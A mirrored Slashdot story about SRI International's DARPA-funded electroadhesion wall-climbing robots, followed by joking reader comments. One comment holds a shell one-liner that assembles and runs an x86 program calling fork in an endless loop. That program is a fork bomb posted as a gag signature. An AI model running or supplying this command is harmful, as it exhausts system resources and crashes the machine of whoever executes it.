Slashdot Mirror
New Robots Developed To Climb Walls
An anonymous reader writes "SRI International, a nonprofit research and development organization, has developed a new technology that enables some robots to scale walls.
The wall-climbing robots could be a boon for the US military, which could use them on reconnaissance or other missions in war zones, said Philip von Guggenberg, director of business development for SRI International, adding that the independent group has received some funding from DARPA, the technology research arm of the Pentagon.
Von Guggenberg said that the new electrical adhesive technology called compliant electroadhesion, provides an electrically controllable way to stick machines to a wall. So what can they do? That adhesion lets the robots, using either feet or tracks, scale a vertical wall. They can even climb walls covered in dust and debris, or made out of concrete, wood, steel, glass, drywall, and brick. Good news is that regular robots, especially those with tracks, can be retrofitted with the technology and turned into wall climbers. Maybe if the kids are good, they'll get one for Christmas."
Why not have have the robots bitten by a genetically engineered spider?
Fight Spammers!
But dude! Now if you're an evil enemy of the US and the US sends its robots to attack you, they will swarm over the walls, Aliens style, not just the floor.It's like a sci fi movie, but we are the aliens with all sorts of cool weapons. Goddamn I'm excited just thinking about it.
I remember in the run up to the Afghanistan war there were loads of stories on Fark.com about cool technologies which would be used by America to kill the terrorists. Someone suggested that there should Fascism tag for them. On Plastic someone posted a funny Starship Troopers style dialog
Reporter: Some people say that the US has provoked this war by meddling in the Middle East.
Soldier: I'm from New York and I say KILL 'EM ALL!
So, cool technology but I'm ambivalent. Mind you as an English guy it seems better that the US has all the cool killing machines than any conceivable competitor except maybe the UK.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I for one, Welcome out new electro-stick spybot war machine overlords. ...jokes yet?
Pretty cool, but frightening.
My job's already got me climbing the goddamn walls, and for a fraction of the cost of a goddamn robot.
They might as well finish the job and make me totally redundant. Invent a robot that begs my girlfriend for sex and gets turned down
I've calculated my velocity with such exquisite precision that I have no idea where I am.
I used to have a little toy that would do this. You turned it on and it stuck to the wall and climbed up very slowly. Its primary function was running out batteries.
Tagged: suctioncup
Tomato wedge sperm darts that are Republican.
how about using them for construction purposes?
Well, the wall climbing robot suffers from one debilitating flaw when it comes to construction. You see, in order to climb a wall, the wall needs to be there first.
When our name is on the back of your car, we're behind you all the way!
...just get your robot to use vista for a few days, and it'll be climbing the walls without any training.
Never mind the construction purposes, I want a car that I can park on the side of my office building!
which is totally what she said
Screw military applications - this means my roomba might be able to handle the stairs soon!
:)
Exciting times